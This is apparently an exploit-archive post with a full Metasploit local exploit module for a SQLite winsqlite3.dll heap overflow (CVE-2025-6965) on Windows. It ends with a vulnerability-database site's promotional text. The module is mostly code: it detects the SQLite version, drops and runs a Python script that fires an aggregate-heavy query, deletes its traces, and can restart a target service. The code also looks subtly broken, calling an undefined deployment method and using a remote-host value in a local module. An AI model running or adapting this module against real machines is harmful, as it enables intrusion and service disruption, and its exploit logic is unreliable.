==================================================================================================================================
| # Title : SQLite 3.50.1 winsqlite3.dll Heap Overflow |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://www.sqlite.org |
==================================================================================================================================
[+] Summary : This Metasploit local exploit module targets a heap overflow vulnerability in winsqlite3.dll in SQLite versions prior to 3.50.2 on Windows systems.
It first attempts to detect the installed SQLite version,
then generates a specially crafted database and SQL workload containing an excessive number of aggregate functions designed to trigger memory corruption.
[+] POC :
class MetasploitModule < Msf::Exploit::Local
Rank = AverageRanking
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Services
include Msf::Post::Windows::Registry
def initialize(info = {})
super(
update_info(
info,
'Name' => 'SQLite winsqlite3.dll Heap Overflow (CVE-2025-6965)',
'Description' => %q{
This module exploits a heap overflow vulnerability in SQLite versions prior to 3.50.2.
},
'License' => MSF_LICENSE,
'Author' => ['indoushka'],
'References' => [['CVE', '2025-6965']],
'Platform' => 'win'
)
)
register_options([
OptString.new('DB_PATH', [false, 'Local database path', 'cve_2025_6965_winsqlite3.db']),
OptInt.new('AGGREGATE_COUNT', [true, 'Number of aggregates', 100]),
OptString.new('SERVICE_NAME', [false, 'Target service name', '']),
OptString.new('AD_CACHE_DIR', [false, 'AD cache directory', 'C:\\Temp']),
OptString.new('AD_DB_TARGET', [false, 'Target DB name', 'ad_cache.db']),
OptBool.new('FORCE_SERVICE_RESTART', [false, 'Restart service after exploitation', false])
])
end
def check
print_status("Checking SQLite version...")
sqlite_version = get_sqlite_version
if sqlite_version.nil?
return Exploit::CheckCode::Unknown
end
print_status("SQLite version detected: #{sqlite_version}")
if sqlite_version < Gem::Version.new('3.50.2')
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Safe
end
def exploit
print_status("Starting exploitation")
check_result = check
if check_result == Exploit::CheckCode::Safe
fail_with(Failure::NotVulnerable, "Target appears patched")
end
db_path = create_malicious_database
fail_with(Failure::UnexpectedReply, "DB creation failed") unless db_path
deploy_to_ad_cache(db_path) || fail_with(Failure::UnexpectedReply, "Deploy failed")
trigger_overflow(datastore['AD_CACHE_DIR'] + "\\" + datastore['AD_DB_TARGET'])
if datastore['FORCE_SERVICE_RESTART']
restart_target_service
end
end
def get_sqlite_version
sqlite_paths = [
"#{ENV['WINDIR']}\\System32\\winsqlite3.dll"
]
sqlite_paths.each do |path|
next unless file_exist?(path)
version = file_version(path)
next unless version
if version =~ /(\d+\.\d+\.\d+)/
return Gem::Version.new($1)
end
end
nil
end
def create_malicious_database
print_status("Creating malicious database...")
db_path = datastore['DB_PATH']
sql_script = "CREATE TABLE IF NOT EXISTS ad_cache (id INTEGER PRIMARY KEY, val INTEGER);"
temp_sql = "#{Dir.tmpdir}/#{Rex::Text.rand_text_alpha(8)}.sql"
write_file(temp_sql, sql_script)
cmd_exec("sqlite3 \"#{db_path}\" < \"#{temp_sql}\"")
rm_f(temp_sql)
file_exist?(db_path) ? db_path : nil
end
def generate_malicious_query(num)
parts = []
num.to_i.times do |i|
parts << "COUNT(*) AS c#{i}"
parts << "SUM(val) AS s#{i}"
parts << "AVG(val) AS a#{i}"
end
"SELECT #{parts.join(', ')} FROM ad_cache"
end
def trigger_overflow(db_path)
print_status("Triggering overflow...")
query = generate_malicious_query(datastore['AGGREGATE_COUNT'])
python = <<~PY
import sqlite3
conn = sqlite3.connect('#{db_path}')
cur = conn.cursor()
try:
cur.execute(\"\"\"#{query}\"\"\")
conn.commit()
except Exception as e:
print("Error:", e)
conn.close()
PY
tmp = "#{Dir.tmpdir}/#{Rex::Text.rand_text_alpha(6)}.py"
write_file(tmp, python)
cmd_exec("python \"#{tmp}\"")
rm_f(tmp)
report_vuln(
host: rhost,
name: "CVE-2025-6965 SQLite Heap Overflow"
)
end
def restart_target_service
service = datastore['SERVICE_NAME']
return if service.nil? || service.empty?
return unless service_exists?(service)
cmd_exec("net stop \"#{service}\"")
Rex.sleep(2)
cmd_exec("net start \"#{service}\"")
end
def service_exists?(name)
result = cmd_exec("sc query \"#{name}\"")
return false if result.nil?
!result.include?("FAILED")
end
def exec_cmd(cmd)
return nil unless session
session.shell_command_token(cmd)
end
alias cmd_exec exec_cmd
def write_file(path, content)
session.fs.file.write(path, content) if session
end
def rm_f(path)
cmd_exec("del /F /Q \"#{path}\"")
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation